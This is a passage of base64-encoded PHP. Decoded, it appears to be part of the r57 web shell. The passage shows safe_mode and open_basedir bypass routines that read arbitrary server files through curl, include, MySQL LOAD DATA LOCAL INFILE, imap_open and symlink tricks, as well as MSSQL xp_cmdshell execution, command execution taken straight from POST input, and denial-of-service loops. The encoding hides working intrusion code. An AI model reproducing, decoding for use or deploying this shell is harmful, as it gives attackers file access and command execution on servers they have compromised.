wcmludGYoIiUgNGQgJSA5cyAlIDlzICU3cyAiLCRubGluaywkb3duZXJbJ25hbWUnXSwkZ3JnaWRbJ25hbWUnXSwkc2l6ZSk7CiAgICAgZWNobyBAZGF0ZSgiZC5tLlkgSDppICIsJG10aW1lKTsKICAgICB9CiAgICAgZWNobyAiJGZpbGVcbiI7CiAgICB9CiAgIEBjbG9zZWRpcigkZCk7CiAgIH0KCiAgIGVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdnbG9iJykgJiYgKGlzc2V0KCRfUE9TVFsnZ2xvYiddKSB8fCAhaXNzZXQoJF9QT1NUWydyZWFscGF0aCddKSkpCiAgICB7CiAgICAgICBlY2hvICJQSFAgZ2xvYigpIGxpc3RpbmcgZGlyZWN0b3J5IFNhZmVfbW9kZSBieXBhc3MgRXhwbG9pdFxyXG5cclxuIjsKICAgICAgIGZ1bmN0aW9uIGVoKCRlcnJubywgJGVycnN0ciwgJGVycmZpbGUsICRlcnJsaW5lKQogICAgICAgIHsKICAgICAgICAgIGdsb2JhbCAkRCwgJGMsICRpOyAKICAgICAgICAgIHByZWdfbWF0Y2goIi9TQUZFXCBNT0RFXCBSZXN0cmljdGlvblwgaW5cIGVmZmVjdFwuLip3aG9zZVwgdWlkXCBpcyguKilpc1wgbm90XCBhbGxvd2VkXCB0b1wgYWNjZXNzKC4qKW93bmVkIGJ5IHVpZCguKikvIiwgJGVycnN0ciwgJG8pOyAKICAgICAgICAgIGlmKCRvKXsgJERbJGNdID0gJG9bMl07ICRjKys7fSAKICAgICAgICB9CiAgICAgICAkZXJyb3JfcmVwb3J0aW5nID0gQGluaV9nZXQoJ2Vycm9yX3JlcG9ydGluZycpOwogICAgICAgZXJyb3JfcmVwb3J0aW5nKEVfV0FSTklORyk7IAogICAgICAgQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgMSk7IAogICAgICAgQGluaV9hbHRlcigiZGlzcGxheV9lcnJvcnMiLCAxKTsgCiAgICAgICAkcm9vdCA9ICIvIjsgCiAgICAgICBpZigkZGlyKSAkcm9vdCA9ICRkaXI7IAogICAgICAgJGMgPSAwOyAkRCA9IGFycmF5KCk7IAogICAgICAgQHNldF9lcnJvcl9oYW5kbGVyKCJlaCIpOyAKICAgICAgICRjaGFycyA9ICJfLS4wMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbm1vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWiI7IAogICAgICAgZm9yKCRpPTA7ICRpIDwgc3RybGVuKCRjaGFycyk7ICRpKyspCiAgICAgICB7CiAgICAgICAgJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaGFyc1skaV19IjsgCiAgICAgICAgJHByZXZEID0gJERbY291bnQoJEQpLTFdOyAKICAgICAgICBAZ2xvYigkcGF0aC4iKiIpOyAKICAgICAgICBpZigkRFtjb3VudCgkRCktMV0gIT0gJHByZXZEKQogICAgICAgICB7CiAgICAgICAgICAgZm9yKCRqPTA7ICRqIDwgc3RybGVuKCRjaGFycyk7ICRqKyspCiAgICAgICAgICAgewogICAgICAgICAgICAkcGF0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/ICIvIiA6IE5VTEwpLiJ7JGNoYXJzWyRpXX17JGNoYXJzWyRqXX0iOyAKICAgICAgICAgICAgJHByZXZEMiA9ICREW2NvdW50KCREKS0xXTsgCiAgICAgICAgICAgIEBnbG9iKCRwYXRoLiIqIik7IAogICAgICAgICAgICBpZigkRFtjb3VudCgkRCktMV0gIT0gJHByZXZEMikKICAgICAgICAgICAgIHsKICAgICAgICAgICAgICBmb3IoJHA9MDsgJHAgPCBzdHJsZW4oJGNoYXJzKTsgJHArKykKICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaGFyc1skaV19eyRjaGFyc1skal19eyRjaGFyc1skcF19IjsgCiAgICAgICAgICAgICAgICAkcHJldkQzID0gJERbY291bnQoJEQpLTFdOyAKICAgICAgICAgICAgICAgIEBnbG9iKCRwYXRoLiIqIik7IAogICAgICAgICAgICAgICAgaWYoJERbY291bnQoJEQpLTFdICE9ICRwcmV2RDMpCiAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICBmb3IoJHI9MDsgJHIgPCBzdHJsZW4oJGNoYXJzKTsgJHIrKykKICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAkcGF0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/ICIvIiA6IE5VTEwpLiJ7JGNoYXJzWyRpXX17JGNoYXJzWyRqXX17JGNoYXJzWyRwXX17JGNoYXJzWyRyXX0iOyAKICAgICAgICAgICAgICAgICAgICBAZ2xvYigkcGF0aC4iKiIpOyAKICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgfSAgICAgICAgCiAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICB9ICAgICAgICAKICAgICAgICAgICB9ICAgIAogICAgICAgICB9IAogICAgICAgfSAKICAgICAgICREID0gYXJyYXlfdW5pcXVlKCREKTsgCiAgICAgICBmb3JlYWNoKCREIGFzICRpdGVtKSBlY2hvICJ7JGl0ZW19XHJcbiI7IAogICAgICAgZWNobyAiXHJcbiBHZW5lcmF0aW9uIHRpbWU6ICIucm91bmQoQGdldG1pY3JvdGltZSgpLXN0YXJ0dGltZSw0KS4iIHNlY1xyXG4iOwogICAgICAgZXJyb3JfcmVwb3J0aW5nKCRlcnJvcl9yZXBvcnRpbmcpOwogICAgfQogICAgZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3JlYWxwYXRoJykgJiYgKCFpc3NldCgkX1BPU1RbJ2dsb2InXSkgfHwgaXNzZXQoJF9QT1NUWydyZWFscGF0aCddKSkpCiAgICB7CiAgICAgICBlY2hvICJQSFAgcmVhbHBhdGgoKSBsaXN0aW5nIGRpcmVjdG9yeSBTYWZlX21vZGUgYnlwYXNzIEV4cGxvaXRcclxuXHJcbiI7CiAgICAgICBpZighJGRpcil7JGRpcj0nL2V0Yy8nO307IAogICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnZW5kX3JscGgnXSkpeyRlbmRfcmxwaD0kX1BPU1RbJ2VuZF9ybHBoJ107fWVsc2V7JGVuZF9ybHBoPScnO30KICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25fcmxwaCddKSl7JG5fcmxwaD0kX1BPU1RbJ25fcmxwaCddO31lbHNleyRuX3JscGg9JzMnO30KCiAgICAgICBpZigkcmVhbHBhdGg9cmVhbHBhdGgoJGRpci4nLycpKXtlY2hvICRyZWFscGF0aC4iXHJcbiI7fQogICAgICAgaWYoJGVuZF9ybHBoIT0nJyAmJiAkcmVhbHBhdGg9cmVhbHBhdGgoJGRpci4nLycuJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iO30KICAgICAgIGZvcmVhY2goJHByZXNldHNfcmxwaCBhcyAkcHJlc2V0X3JscGgpewogICAgICAgICAgIGlmKCRyZWFscGF0aD1yZWFscGF0aCgkZGlyLicvJy4kcHJlc2V0X3JscGguJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iO30KICAgICAgIH0KICAgICAgIGZvcigkaT0wOyAkaSA8IHN0cmxlbigkY2hhcnNfcmxwaCk7ICRpKyspewogICAgICAgICAgaWYoJHJlYWxwYXRoPXJlYWxwYXRoKCRkaXIuIi97JGNoYXJzX3JscGhbJGldfSIuJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iO30KICAgICAgICAgIGlmKCRuX3JscGg8PTEpe2NvbnRpbnVlO307CiAgICAgICAgICBmb3IoJGo9MDsgJGogPCBzdHJsZW4oJGNoYXJzX3JscGgpOyAkaisrKXsKICAgICAgICAgICAgIGlmKCRyZWFscGF0aD1yZWFscGF0aCgkZGlyLiIveyRjaGFyc19ybHBoWyRpXX17JGNoYXJzX3JscGhbJGpdfSIuJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iO30KICAgICAgICAgICAgIGlmKCRuX3JscGg8PTIpe2NvbnRpbnVlO307CiAgICAgIAkgICAgIGZvcigkeD0wOyAkeCA8IHN0cmxlbigkY2hhcnNfcmxwaCk7ICR4KyspewogICAgICAgICAgICAgICAgaWYoJHJlYWxwYXRoPXJlYWxwYXRoKCRkaXIuIi97JGNoYXJzX3JscGhbJGldfXskY2hhcnNfcmxwaFskal19eyRjaGFyc19ybHBoWyR4XX0iLiRlbmRfcmxwaCkpe2VjaG8gJHJlYWxwYXRoLiJcclxuIjt9CiAgICAgICAgICAgICAgICBpZigkbl9ybHBoPD0zKXtjb250aW51ZTt9OwogICAgICAgICAgICAgICAgZm9yKCR5PTA7ICR5IDwgc3RybGVuKCRjaGFyc19ybHBoKTsgJHkrKyl7CiAgICAgIAkgICAgICAgICAgIGlmKCRyZWFscGF0aD1yZWFscGF0aCgkZGlyLiIveyRjaGFyc19ybHBoWyRpXX17JGNoYXJzX3JscGhbJGpdfXskY2hhcnNfcmxwaFskeF19eyRjaGFyc19ybHBoWyR5XX0iLiRlbmRfcmxwaCkpe2VjaG8gJHJlYWxwYXRoLiJcclxuIjt9CiAgICAgIAkgICAgICAgICAgIGlmKCRuX3JscGg8PTQpe2NvbnRpbnVlO307CiAgICAgIAkgICAgICAgICAgIGZvcigkej0wOyAkeiA8IHN0cmxlbigkY2hhcnNfcmxwaCk7ICR6KyspewogICAgICAJICAgICAgICAgICAgICBpZigkcmVhbHBhdGg9cmVhbHBhdGgoJGRpci4iL3skY2hhcnNfcmxwaFskaV19eyRjaGFyc19ybHBoWyRqXX17JGNoYXJzX3JscGhbJHhdfXskY2hhcnNfcmxwaFskeV19eyRjaGFyc19ybHBoWyR6XX0iLiRlbmRfcmxwaCkpe2VjaG8gJHJlYWxwYXRoLiJcclxuIjt9CiAgICAgIAkgICAgICAgICAgICAgIGlmKCRuX3JscGg8PTUpe2NvbnRpbnVlO307CiAgICAgIAkgICAgICAgICAgICAgIGZvcigkdz0wOyAkdyA8IHN0cmxlbigkY2hhcnNfcmxwaCk7ICR3KyspewogICAgICAJICAgICAgICAgICAgICAgICBpZigkcmVhbHBhdGg9cmVhbHBhdGgoJGRpci4iL3skY2hhcnNfcmxwaFskaV19eyRjaGFyc19ybHBoWyRqXX17JGNoYXJzX3JscGhbJHhdfXskY2hhcnNfcmxwaFskeV19eyRjaGFyc19ybHBoWyR6XX17JGNoYXJzX3JscGhbJHddfSIuJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iO30KICAgICAgCQkgICAgICB9CiAgICAgIAkJICAgfQogICAgICAJICAgICAgICAgfQogICAgICAgICAgICAgIH0KICAgICAgICAgIH0KICAgICAgIH0KICAgICAgIGVjaG8gIlxyXG4gR2VuZXJhdGlvbiB0aW1lOiAiLnJvdW5kKEBnZXRtaWNyb3RpbWUoKS1zdGFydHRpbWUsNCkuIiBzZWNcclxuIjsKICAgIH0KICAgIGVsc2UgZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjknXTsKIGJyZWFrOwogIGNhc2UgJ3Rlc3QxJzoKICAkY2kgPSBAY3VybF9pbml0KCJmaWxlOi8vIi4kX1BPU1RbJ3Rlc3QxX2ZpbGUnXSk7CiAgJGNmID0gQGN1cmxfZXhlYygkY2kpOwogIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY2YpOwogIGJyZWFrOwogIGNhc2UgJ3Rlc3QyJzoKICBAaW5jbHVkZSgkX1BPU1RbJ3Rlc3QyX2ZpbGUnXSk7CiAgYnJlYWs7CiAgY2FzZSAndGVzdDMnOgogIGlmKGVtcHR5KCRfUE9TVFsndGVzdDNfcG9ydCddKSkgeyAkX1BPU1RbJ3Rlc3QzX3BvcnQnXSA9ICIzMzA2IjsgfQogICRkYiA9IEBteXNxbF9jb25uZWN0KCdsb2NhbGhvc3Q6Jy4kX1BPU1RbJ3Rlc3QzX3BvcnQnXSwkX1BPU1RbJ3Rlc3QzX21sJ10sJF9QT1NUWyd0ZXN0M19tcCddKTsKICBpZigkZGIpCiAgIHsKICAgaWYoQG15c3FsX3NlbGVjdF9kYigkX1BPU1RbJ3Rlc3QzX21kJ10sJGRiKSkKICAgIHsKICAgICBAbXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRlbXBfcjU3X3RhYmxlIik7CiAgICAgQG15c3FsX3F1ZXJ5KCJDUkVBVEUgVEFCTEUgYHRlbXBfcjU3X3RhYmxlYCAoIGBmaWxlYCBMT05HQkxPQiBOT1QgTlVMTCApIik7Ci8qICAgICBAbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBJTkZJTEUgXCIiLiRfUE9TVFsndGVzdDNfZmlsZSddLiJcIiBJTlRPIFRBQkxFIHRlbXBfcjU3X3RhYmxlIik7Ki8KICAgICBAbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgXCIiLiRfUE9TVFsndGVzdDNfZmlsZSddLiJcIiBJTlRPIFRBQkxFIHRlbXBfcjU3X3RhYmxlIik7CiAgICAgJHIgPSBAbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGVtcF9yNTdfdGFibGUiKTsKICAgICB3aGlsZSgoJHJfc3FsID0gQG15c3FsX2ZldGNoX2FycmF5KCRyKSkpIHsgZWNobyBAaHRtbHNwZWNpYWxjaGFycygkcl9zcWxbMF0pLiJcclxuIjsgfQogICAgIEBteXNxbF9xdWVyeSgiRFJPUCBUQUJMRSBJRiBFWElTVFMgdGVtcF9yNTdfdGFibGUiKTsKICAgIH0KICAgIGVsc2UgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBzZWxlY3QgZGF0YWJhc2UiOwogICBAbXlzcWxfY2xvc2UoJGRiKTsKICAgfQogIGVsc2UgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBjb25uZWN0IHRvIG15c3FsIHNlcnZlciI7CiAgYnJlYWs7CiAgY2FzZSAndGVzdDQnOgogIGlmKGVtcHR5KCRfUE9TVFsndGVzdDRfcG9ydCddKSkgeyAkX1BPU1RbJ3Rlc3Q0X3BvcnQnXSA9ICIxNDMzIjsgfQogICRkYiA9IEBtc3NxbF9jb25uZWN0KCdsb2NhbGhvc3QsJy4kX1BPU1RbJ3Rlc3Q0X3BvcnQnXSwkX1BPU1RbJ3Rlc3Q0X21sJ10sJF9QT1NUWyd0ZXN0NF9tcCddKTsKICBpZigkZGIpCiAgIHsKICAgaWYoQG1zc3FsX3NlbGVjdF9kYigkX1BPU1RbJ3Rlc3Q0X21kJ10sJGRiKSkKICAgIHsKICAgICBAbXNzcWxfcXVlcnkoImRyb3AgdGFibGUgcjU3X3RlbXBfdGFibGUiLCRkYik7CiAgICAgQG1zc3FsX3F1ZXJ5KCJjcmVhdGUgdGFibGUgcjU3X3RlbXBfdGFibGUgKCBzdHJpbmcgVkFSQ0hBUiAoNTAwKSBOVUxMKSIsJGRiKTsKICAgICBAbXNzcWxfcXVlcnkoImluc2VydCBpbnRvIHI1N190ZW1wX3RhYmxlIEVYRUMgbWFzdGVyLmRiby54cF9jbWRzaGVsbCAnIi4kX1BPU1RbJ3Rlc3Q0X2ZpbGUnXS4iJyIsJGRiKTsKICAgICAkcmVzID0gbXNzcWxfcXVlcnkoInNlbGVjdCAqIGZyb20gcjU3X3RlbXBfdGFibGUiLCRkYik7CiAgICAgd2hpbGUoKCRyb3c9QG1zc3FsX2ZldGNoX3JvdygkcmVzKSkpCiAgICAgIHsKICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiJcclxuIjsKICAgICAgfQogICAgQG1zc3FsX3F1ZXJ5KCJkcm9wIHRhYmxlIHI1N190ZW1wX3RhYmxlIiwkZGIpOwogICAgfQogICAgZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IHNlbGVjdCBkYXRhYmFzZSI7CiAgIEBtc3NxbF9jbG9zZSgkZGIpOwogICB9CiAgZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IGNvbm5lY3QgdG8gTVNTUUwgc2VydmVyIjsKICBicmVhazsKICBjYXNlICd0ZXN0NSc6CiAgJHRlbXA9dGVtcG5hbSgkZGlyLCAiZm5hbWUiKTsKICBpZiAoQGZpbGVfZXhpc3RzKCR0ZW1wKSkgQHVubGluaygkdGVtcCk7CiAgJGV4dHJhID0gIi1DICIuJF9QT1NUWyd0ZXN0NV9maWxlJ10uIiAtWCAkdGVtcCI7CiAgQG1iX3NlbmRfbWFpbChOVUxMLCBOVUxMLCBOVUxMLCBOVUxMLCAkZXh0cmEpOwogICRzdHIgPSBtb3JlcmVhZCgkdGVtcCk7CiAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzdHIpOwogIEB1bmxpbmsoJHRlbXApOwogIGJyZWFrOwogIGNhc2UgJ3Rlc3Q2JzoKICAkc3RyZWFtID0gQGltYXBfb3BlbignL2V0Yy9wYXNzd2QnLCAiIiwgIiIpOwogICRkaXJfbGlzdCA9IEBpbWFwX2xpc3QoJHN0cmVhbSwgdHJpbSgkX1BPU1RbJ3Rlc3Q2X2ZpbGUnXSksICIqIik7CiAgZm9yICgkaSA9IDA7ICRpIDwgY291bnQoJGRpcl9saXN0KTsgJGkrKykgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkaXJfbGlzdFskaV0pLiJcclxuIjsKICBAaW1hcF9jbG9zZSgkc3RyZWFtKTsKICBicmVhazsKICBjYXNlICd0ZXN0Nyc6CiAgJHN0cmVhbSA9IEBpbWFwX29wZW4oJF9QT1NUWyd0ZXN0N19maWxlJ10sICIiLCAiIik7CiAgJHN0ciA9IEBpbWFwX2JvZHkoJHN0cmVhbSwgMSk7CiAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzdHIpOwogIEBpbWFwX2Nsb3NlKCRzdHJlYW0pOwogIGJyZWFrOwogIGNhc2UgJ3Rlc3Q4JzoKICAkdGVtcD1AdGVtcG5hbSgkX1BPU1RbJ3Rlc3Q4X2ZpbGUyJ10sICJjb3B5dGVtcCIpOwogICRzdHIgPSByZWFkemxpYigkX1BPU1RbJ3Rlc3Q4X2ZpbGUxJ10sJHRlbXApOwogIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3RyKTsKICBAdW5saW5rKCR0ZW1wKTsKICBicmVhazsKICBjYXNlICd0ZXN0OSc6CiAgQGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsKICBAaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOwogICRzdHIgPSBtb3JlcmVhZCgkX1BPU1RbJ3Rlc3Q5X2ZpbGUnXSk7CiAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzdHIpOwogIGJyZWFrOwogIGNhc2UgJ3Rlc3QxMCc6CiAgQG9iX2NsZWFuKCk7CiAgJGVycm9yX3JlcG9ydGluZyA9IEBpbmlfZ2V0KCdlcnJvcl9yZXBvcnRpbmcnKTsKICBlcnJvcl9yZXBvcnRpbmcoRV9BTEwgXiBFX05PVElDRSk7CiAgQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgMSk7IAogIEBpbmlfYWx0ZXIoImRpc3BsYXlfZXJyb3JzIiwgMSk7IAogICRzdHI9QGZvcGVuKCRfUE9TVFsndGVzdDEwX2ZpbGUnXSwiciIpOwogIHdoaWxlKCFmZW9mKCRzdHIpKXtwcmludCBodG1sc3BlY2lhbGNoYXJzKGZnZXRzKCRzdHIpKTt9CiAgZmNsb3NlKCRzdHIpOwogIGVycm9yX3JlcG9ydGluZygkZXJyb3JfcmVwb3J0aW5nKTsKICBicmVhazsKICBjYXNlICd0ZXN0MTEnOgogIEBvYl9jbGVhbigpOwogICR0ZW1wID0gJ3ppcDovLycuJF9QT1NUWyd0ZXN0MTFfZmlsZSddOwogICRzdHIgPSBtb3JlcmVhZCgkdGVtcCk7CiAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzdHIpOwogIGJyZWFrOwogIGNhc2UgJ3Rlc3QxMic6CiAgQG9iX2NsZWFuKCk7CiAgJHRlbXAgPSAnY29tcHJlc3MuYnppcDI6Ly8nLiRfUE9TVFsndGVzdDEyX2ZpbGUnXTsKICAkc3RyID0gbW9yZXJlYWQoJHRlbXApOwogIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3RyKTsKICBicmVhazsKICBjYXNlICd0ZXN0MTMnOgogIEBlcnJvcl9sb2coJF9QT1NUWyd0ZXN0MTNfZmlsZTEnXSwgMywgInBocDovLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLyIuJF9QT1NUWyd0ZXN0MTNfZmlsZTInXSk7CiAgZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjEnXTsKICBicmVhazsKICBjYXNlICd0ZXN0MTQnOgogIEBzZXNzaW9uX3NhdmVfcGF0aCgkX1BPU1RbJ3Rlc3QxNF9maWxlMiddLiJcMDskdGVtcGRpciIpOwogIEBzZXNzaW9uX3N0YXJ0KCk7CiAgQCRfU0VTU0lPTltwaHBdPSRfUE9TVFsndGVzdDE0X2ZpbGUxJ107CiAgZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjEnXTsKICBicmVhazsKICBjYXNlICd0ZXN0MTUnOgogIEByZWFkZmlsZSgkX1BPU1RbJ3Rlc3QxNV9maWxlMSddLCAzLCAicGhwOi8vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vIi4kX1BPU1RbJ3Rlc3QxNV9maWxlMiddKTsKICBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MSddOwogIGJyZWFrOwogIGNhc2UgJ3Rlc3QxNic6CiAgaWYgKEBmb3Blbignc3JwYXRoOi8vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vJy4kX1BPU1RbJ3Rlc3QxNl9maWxlJ10sImEiKSkgZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjEnXTsKICBicmVhazsKICBjYXNlICd0ZXN0MTdfMSc6CiAgQHVubGluaygnc3ltbGlua3JlYWQnKTsKICBAc3ltbGluaygnYS9hL2EvYS9hL2EvJywgJ2R1bW15Jyk7CiAgQHN5bWxpbmsoJ2R1bW15Ly4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLycuJF9QT1NUWyd0ZXN0MTdfZmlsZSddLCAnc3ltbGlua3JlYWQnKTsKICBAdW5saW5rKCdkdW1teScpOwogIHdoaWxlICgxKSAKICAgewogICAgQHN5bWxpbmsoJy4nLCAnZHVtbXknKTsKICAgIEB1bmxpbmsoJ2R1bW15Jyk7CiAgIH0KICBicmVhazsKICBjYXNlICd0ZXN0MTdfMic6CiAgJHN0cj0nJzsKICB3aGlsZSAoc3RybGVuKCRzdHIpIDwgMykgeyAgIAovKiAgICRzdHIgPSBtb3JlcmVhZCgnc3ltbGlua3JlYWQnKTsqLwogICAkc3RyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCdzeW1saW5rcmVhZCcpOwogICBpZigkc3RyKXsgQG9iX2NsZWFuKCk7IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3RyKTt9CiAgfQogIGJyZWFrOwogIGNhc2UgJ3Rlc3QxN18zJzoKICAkZGlyID0gJGZpbGVzID0gYXJyYXkoKTsKICBpZihAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMC4wIik+PTApewogICB3aGlsZSAoQGNvdW50KCRkaXIpIDwgMykgewogICAgJGRpcj1Ac2NhbmRpcignc3ltbGlua3JlYWQnKTsKICAgIGlmIChAY291bnQoJGRpcikgPiAyKSB7QG9iX2NsZWFuKCk7IEBwcmludF9yKCRkaXIpOyB9CiAgIH0KICB9CiAgZWxzZSB7CiAgIHdoaWxlIChAY291bnQoJGZpbGVzKSA8IDMpIHsKICAgICRkaCAgPSBAb3BlbmRpcignc3ltbGlua3JlYWQnKTsKICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IEByZWFkZGlyKCRkaCkpKSB7CiAgICAgJGZpbGVzW10gPSAkZmlsZW5hbWU7CiAgICB9CiAgICBpZihAY291bnQoJGZpbGVzKSA+IDIpe0BvYl9jbGVhbigpOyBAcHJpbnRfcigkZmlsZXMpOyB9CiAgIH0KICB9CiAgYnJlYWs7CiAgY2FzZSAndGVzdDE4JzoKICBAcHV0ZW52KCJUTVBESVI9Ii4kX1BPU1RbJ3Rlc3QxOF9maWxlMiddKTsgCiAgQGluaV9zZXQoInNlc3Npb24uc2F2ZV9wYXRoIiwgIiIpOyAKICBAaW5pX2FsdGVyKCJzZXNzaW9uLnNhdmVfcGF0aCIsICIiKTsgCiAgQHNlc3Npb25fc3RhcnQoKTsKICBAJF9TRVNTSU9OW3BocF09JF9QT1NUWyd0ZXN0MThfZmlsZTEnXTsKICBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MSddOwogIGJyZWFrOwogIGNhc2UgJ3Rlc3QxOSc6CiAgaWYoZW1wdHkoJF9QT1NUWyd0ZXN0MTlfcG9ydCddKSkgeyAkX1BPU1RbJ3Rlc3QxOV9wb3J0J10gPSAiMzMwNiI7IH0KICAkbSA9IG5ldyBteXNxbGkoJ2xvY2FsaG9zdCcsJF9QT1NUWyd0ZXN0MTlfbWwnXSwkX1BPU1RbJ3Rlc3QxOV9tcCddLCRfUE9TVFsndGVzdDE5X21kJ10sJF9QT1NUWyd0ZXN0MTlfcG9ydCddKTsKICBpZihAbXlzcWxpX2Nvbm5lY3RfZXJybm8oKSl7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3QgY29ubmVjdCB0byBteXNxbGkgc2VydmVyOiAiLm15c3FsaV9jb25uZWN0X2Vycm9yKCkgO307CiAgJG0tPm9wdGlvbnMoTVlTUUxJX09QVF9MT0NBTF9JTkZJTEUsIDEpOwogICRtLT5zZXRfbG9jYWxfaW5maWxlX2hhbmRsZXIoInIiKTsKICAkbS0+cXVlcnkoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRlbXBfcjU3X3RhYmxlIik7CiAgJG0tPnF1ZXJ5KCJDUkVBVEUgVEFCTEUgdGVtcF9yNTdfdGFibGUgKCAnZmlsZScgTE9OR0JMT0IgTk9UIE5VTEwgKSIpOwogICRtLT5xdWVyeSgiTE9BRCBEQVRBIExPQ0FMIElORklMRSBcIiIuJF9QT1NUWyd0ZXN0MTlfZmlsZSddLiJcIiBJTlRPIFRBQkxFIHRlbXBfcjU3X3RhYmxlIik7CiAgJHIgPSAkbS0+cXVlcnkoIlNFTEVDVCAqIEZST00gdGVtcF9yNTdfdGFibGUiKTsKICB3aGlsZSgoJHJfc3FsID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcikpKSB7IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJHJfc3FsWzBdKS4iXHJcbiI7IH0KICAkbS0+cXVlcnkoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRlbXBfcjU3X3RhYmxlIik7CiAgJG0tPmNsb3NlKCk7CiAgYnJlYWs7CiB9Cn0KCmlmKCghJHNhZmVfbW9kZSkgJiYgKCRfUE9TVFsnY21kJ10hPSJwaHBfZXZhbCIpICYmICgkX1BPU1RbJ2NtZCddIT0ibXlzcWxfZHVtcCIpICYmICgkX1BPU1RbJ2NtZCddIT0iZGJfcXVlcnkiKSAmJiAoJF9QT1NUWydjbWQnXSE9ImZ0cF9icnV0ZSIpICYmICgkX1BPU1RbJ2NtZCddIT0iZGJfYnJ1dGUiKSl7CiAkY21kX3JlcCA9IGV4KCRfUE9TVFsnY21kJ10pOwogaWYoISR1bml4KSB7IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoQGNvbnZlcnRfY3lyX3N0cmluZygkY21kX3JlcCwnZCcsJ3cnKSkuIlxuIjsgfQogZWxzZSB7IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJGNtZF9yZXApLiJcbiI7IH0KfS8qZWxzZWlmKCRzYWZlX21vZGUpewogJGNtZF9yZXAgPSBzYWZlX2V4KCRfUE9TVFsnY21kJ10pOwogaWYoISR1bml4KSB7IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoQGNvbnZlcnRfY3lyX3N0cmluZygkY21kX3JlcCwnZCcsJ3cnKSkuIlxuIjsgfQogZWxzZSB7IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJGNtZF9yZXApLiJcbiI7IH0KfQoqLwpzd2l0Y2goJF9QT1NUWydjbWQnXSkKewogY2FzZSAnZG9zMSc6CiBmdW5jdGlvbiBhKCkgeyBhKCk7IH0gYSgpOwogYnJlYWs7CiBjYXNlICdkb3MyJzoKIEBwYWNrKCJkNDI5NDk2NzI5NyIsIDIpOwogYnJlYWs7CiBjYXNlICdkb3MzJzoKICRhID0gImEiO0B1bnNlcmlhbGl6ZShAc3RyX3JlcGxhY2UoJzEnLCAyMTQ3NDgzNjQ3LCBAc2VyaWFsaXplKCRhKSkpOwogYnJlYWs7CiBjYXNlICdkb3M0JzoKICR0ID0gYXJyYXkoMSk7d2hpbGUgKDEpIHskYVtdID0gJiR0O307CiBicmVhazsKIGNhc2UgJ2RvczUnOgogQGRsKCJzcWxpdGUuc28iKTskZGIgPS